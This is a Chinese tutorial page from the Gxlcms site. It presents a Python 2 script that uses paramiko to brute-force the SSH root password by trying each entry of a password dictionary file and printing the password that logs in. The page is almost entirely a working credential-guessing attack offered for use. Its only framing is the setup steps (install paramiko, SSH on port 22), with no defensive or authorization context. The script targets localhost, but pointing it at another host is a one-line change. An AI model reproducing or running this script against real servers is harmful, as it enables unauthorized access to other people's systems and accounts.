当前位置:Gxlcms > Python > 利用python暴力破解root密码实例代码

利用python暴力破解root密码实例代码

时间:2021-07-01 10:21:17 帮助过:135人阅读

环境准备:

1、安装paramiko模块

2、服务器ssh服务开启22号端口

下面请看代码

#!/usr/bin/py

#-*- coding: utf-8 -*-

import paramiko

ssh = paramiko.SSHClient() #实例化类

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #连接时自动回答为yes

d = file('/root/a.txt') #字典文件路径

for i in d.xreadlines(): #循环密码字典

i = i.strip() #去掉前后的空格

if not i: #如果值为空则进入下一轮循环

continue

try:

#开始尝试密码

ssh.connect(hostname='localhost', port=22, username='root', password=i)

print 'root密码是',i #如果密码正确则打印密码

break #跳出循环

except:

continue #如果密码错误则进入下一轮循环

else:

print '没有破解root密码,请更换字典重新尝试' #如果没有匹配到密码

以上就是利用python暴力破解root密码实例代码的详细内容,更多请关注Gxl网其它相关文章!

人气教程排行